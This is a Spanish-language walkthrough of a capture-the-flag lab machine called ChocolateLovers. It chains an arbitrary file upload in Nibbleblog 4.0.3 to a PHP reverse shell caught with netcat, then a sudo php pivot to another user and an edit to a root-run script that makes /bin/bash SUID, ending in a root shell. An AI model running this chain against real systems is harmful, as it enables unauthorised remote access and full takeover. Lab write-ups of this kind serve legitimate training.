

18. Máquina: ChocolateLovers(Fácil)


1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - **Comando:** `nmap -sVC 172.17.0.2 -Pn`
 - **Resultado:** Se encontró el servicio HTTP abierto con Apache Server, donde se muestra la página de inicio.

2. Navegación servicio HTTP:

- Con la herramienta *Gobuster* no encontramos ningún directorio activo oculto, así que inspeccionamos la página principal. Viendo el código fuente de la página web, podemos observar comentarios que muestran un directorio llamado */nibbleblog*.

3. Navegación Nibbleblog:

- Una vez accedemos al directorio comentado, observamos un blog. En ajustes podemos verificar que el blog tiene la versión  *Nibbleblog 4.0.3 "Coffee"*, que contiene una vulnerabilidad la cual usando la extensión *my_image* nos permite subir cualquier archivo incluso un *.php*, ya que no verifica extensiones de archivos, así que lo utilizaremos para crear una reverse shell.

4. Generación de Reverse Shell con *Revershell Generator*

- Introducimos en la web la IP de la máquina víctima y el puerto abierto (8080).
 - **Comando:** Utilizamos Script *PHP PentestMonkey*.
 - **Resultado:** Creamos un archivo con el script PHP generado, el cual vamos a subir, y también recibimos el comando de escucha a ejecutar en nuestra máquina.


5. Ejecución Reverse Shell:

- Una vez creada la Reverse Shell y subido el archivo usando la extensión vulnerable *my_image*, ejecutamos la reverse shell usando el comando en nuestra máquina.
 - **Comando:** `curl http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php`
Escucha: `nc -lvnp 444`
 - **Respuesta:** Una vez ejecutada estando en escucha, recibimos la shell remota como usuarios *www-data*, la cual hemos configurado para poder usarse completamente integrada.

6. Verificación de Permisos de Sudo para www-data:

- Una vez dentro del usuario *www-data*, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.
 - **Comandos:** `sudo -l`
 - **Resultado:** Observamos que podemos usar el binario *php* utilizando el usuario *chocolate* sin necesidad de contraseña.

7. Pivoting de usuarios desde www-data a chocolate:

- Habiendo observado que *www-data* puede ejecutar binarios *php* usando el usuario *chocolate* y pudiendo hacer pivoting a este, buscamos un exploit en *php* en  *GTFOBins*.
 - **Comandos:** `CMD="/bin/bash" --> sudo -u chocolate /usr/bin/php -r "system('$CMD');"`
 - **Resultado:** Ejecutamos los comandos y obtenemos acceso al usuario *chocolate*.

8. Verificación permisos y procesos Chocolate:

- Una vez dentro del usuario *chocolate*, no nos deja ver los permisos con `sudo -l` ya que nos pide su contraseña, pero mirando los procesos en ejecución del sistema podemos encontrar información útil para la escalada de privilegios.
 - **Comando:** `ps -e -f`

- **Resultado:** Vemos que el usuario root está ejecutando un *script.php* en un bucle infinito, y desde nuestro usuario podemos editarlo así que podemos aprovecharnos de este file para ganar privilegios.

• 9. Edición Archivo en Bucle PHP:

- Como usuario *chocolate*, podemos editar el file *.php* que esta ejecutando el usuario *root* en un bucle infinito para realizar una escala de privilegios.

- **Comando:** `echo '<?php exec("chmod u+s /bin/bash"); ?>' > script.php`

- **Resultado:** Ahora nuestro usuario *chocolate* tiene permisos completos sobre */bin/bash*

• 10. Escalada de privilegios usando /bin/bash:

- Ahora que tenemos permisos completos sobre el binario */bin/bash* sin necesidad de contraseña, podemos usar este para realizar la escalada de privilegios.

- **Comando:** `/bin/bash -p`

- **Resultado:** Una vez ejecutado el comando, ya somos usuario root. Fin de la intrusión con máximos privilegios.

```
chocolate@4ca3c4c6fe68:/opt$ cd ..
chocolate@4ca3c4c6fe68:/$/ /bin/bash -p
bash-5.0# whoami
bash-5.0# root
cd root/
bash-5.0# ls -a
.
..
.bash_history
.bashrc
.local
.profile
bash-5.0# xDaliK
bash: xDaliK: command not found
```